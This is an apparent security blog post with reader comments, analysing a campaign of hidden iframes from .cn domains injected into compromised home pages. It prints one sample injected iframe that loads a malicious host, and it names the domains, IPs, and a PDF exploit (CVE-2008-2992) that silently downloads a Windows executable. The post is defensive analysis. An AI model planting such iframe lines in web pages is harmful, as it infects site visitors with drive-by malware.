New week, new leader. I mean various hidden iframes from .cn domains injected at the bottom of home pages.
The html code looks like this
<iframe src="http: //lotmachinesguide .cn/ in.cgi?income56" width=1 height=1 style="visibility: hidden"></iframe>
The domain names may vary but they always end with .cn. The domain names usually contain words lot and bet. They all reside on the same server with the IP address 94 .247 .3 .150. The iframes load pages with paths similar to “in.cgi?incomeNN”, where NN is some arbitrary number.
Here is a list of domains used in this malware campaign:
As most other iframe injection exploits, this one can be easily detected by Unmask Parasites. You will see hidden iframes in the “External References” section.

Sometimes you can see more then one iframe injected into the same web page.

To my surprise these iframes are poorly detected by Google. Many compromised web sites are still not listed as suspicious. And the majority of the .cn domains used in this attack are not blacklisted either. (I’ve been submitting the malicious domains to Google for the last couple of days, to no avail.)

When Google detects the malicious content you will see the follow text on Safe Browsing diagnostic pages: “Malicious software is hosted on 1 domain(s), including hyperliteautoservices .cn/.”
This happens because the initial pages in the iframes redirect to a malicious script on hyperliteautoservices .cn, that checks plugins installed in a visitor’s browser and downloads either an infected PDF file or a Flash (swf) file (browsers automatically open such files). This happens behind the scenes, so people would never know about the infection.
These files change every day which makes virus detection very problematic. I sent both files to VirusTotal and the detection rates were very low: 5/40 for readme.pdf and 2/40 for flash.swf . None of major anti-virus tools detected these files.
I checked the PDF file with another online service called Wepawet and it identified the malicious code and the exploited vulnerability. Here is the report. This virus makes use of a known vulnerability of Adobe Acrobat (Reader) CVE-2008-2992: “Stack-based buffer overflow in Adobe Acrobat and Reader 8.1.2 and earlier allows remote attackers to execute arbitrary code via a PDF file that calls the util.printf JavaScript function with a crafted format string argument“.
If you are still using Acrobat Reader 8.1.2 or older, upgrade ASAP. The current version is 9.1.
This PDF file silently downloads a malicious binary (Windows executable) file from litehitscar .cn, which resides on the same server with hyperliteautoservices .cn (IP 94 .247 .3 .151). According to VirusTotal, the detection rate of this malware is very low – 3/40.
If you have any additional information on this issue or want to ask a question, consider leaving a comment below.
Similar posts:
One of my client site infect with iframe that redirect to this sites : 3b4 .ru/, q3e .in/, x3y .ru/, using port 8080.
Make sure you clean up all the files that infected ( …. ) and find suspicious javascript code that inject into index.html files on your site. Better not using frame anymore on your site.
Nice points you have made about web security.
Thanks for the post, informative and inciteful, made me think more about web security.
[...] http://blog.unmaskparasites.com/2009/04/15/malicious-income-iframes-from-cn-domains/ [...]
Hi, last night a new folder turned up in the root of my ftp, named .gnome2, which is seemingly empty. I didnt put it there, the server guys didnt put it there, so I cant see what else it could be but some sort of hack/phising tactic.
Searching .gnome2 doesnt bring up much in the way of info on other cases, but it certianly does worry me and has had me reading up on security and malicious practices all day.
Im not sure what to do here really, I will follow a few of your rec’s, but if you have ever heard of this before please advise accordingly.
Thanks
.gnome2 is a folder of the Gnome 2.x (desktop for Linux computers). However this desktop is not used on servers.
Check the owner of the folder and the creation date.
This is a site I did, It got hit pretty bad.. the “virus” comes again again, I have cleaned my own computer. But how can they change the html files so fast?.. just few hours later, the virus is back. Is it a javascript file? Or is something logging into the ftp and changing the files?
Everything is automated and done by thousands of infected user computers. By the way your computer is/was also infected and hacked some other sites.
I know this because these iframes are injected when trojans steal FTP credentials from infected computers.
You can make sure you have a proper firewall in front of your server which will may protect you from these sort of attacks…lock it right down and only open the ports your require. Also you can block domain’s which can help